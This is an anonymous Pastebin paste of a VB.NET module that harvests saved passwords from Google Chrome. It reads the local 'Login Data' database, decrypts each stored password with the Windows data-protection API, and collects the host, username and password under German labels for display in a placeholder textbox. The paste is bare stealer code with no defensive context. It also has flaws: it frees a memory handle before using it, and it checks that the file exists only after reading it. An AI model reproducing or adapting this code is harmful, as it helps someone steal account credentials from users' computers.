Guest User

Untitled

a guest
Apr 10th, 2016
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.98 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4.  
  5. Module Chrome
  6. Public cPass As String
  7. Public Sub GetChrome()
  8. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  9.  
  10. Try
  11. Dim SQLDatabase = New SQLiteHandler(datapath)
  12. SQLDatabase.ReadTable("logins")
  13.  
  14. If File.Exists(datapath) Then
  15.  
  16. Dim host, user, pass As String
  17.  
  18. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  19. host = SQLDatabase.GetValue(i, "origin_url")
  20. user = SQLDatabase.GetValue(i, "username_value")
  21. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  22.  
  23. If (user <> "") And (pass <> "") Then
  24. cPass = ("============ Chrome ==============" & vbNewLine & "Host: " & host & vbNewLine & "Benutzername: " & user & vbNewLine & "Passwort: " & pass & vbNewLine & "=============================" & vbNewLine _
  25. & vbNewLine & " ")
  26. DEINE_TEXTBOX.Text += cPass
  27. End If
  28. Next
  29.  
  30. End If
  31. Catch e As Exception
  32. MsgBox(e.ToString)
  33. End Try
  34. End Sub
  35. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  36. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  37. End Function
  38. <Flags()> Enum CryptProtectPromptFlags
  39. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  40. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  41. End Enum
  42. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  43. Public cbSize As Integer
  44. Public dwPromptFlags As CryptProtectPromptFlags
  45. Public hwndApp As IntPtr
  46. Public szPrompt As String
  47. End Structure
  48. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  49. Public cbData As Integer
  50. Public pbData As IntPtr
  51. End Structure
  52. Function Decrypt(ByVal Datas() As Byte) As String
  53. Dim inj, Ors As New DATA_BLOB
  54. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  55. inj.pbData = Ghandle.AddrOfPinnedObject()
  56. inj.cbData = Datas.Length
  57. Ghandle.Free()
  58. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  59. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  60. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  61. Dim TheString As String = Encoding.Default.GetString(Returned)
  62. Return TheString.Substring(0, TheString.Length - 1)
  63. End Function
  64.  
  65. End Module
Add Comment
Please, Sign In to add comment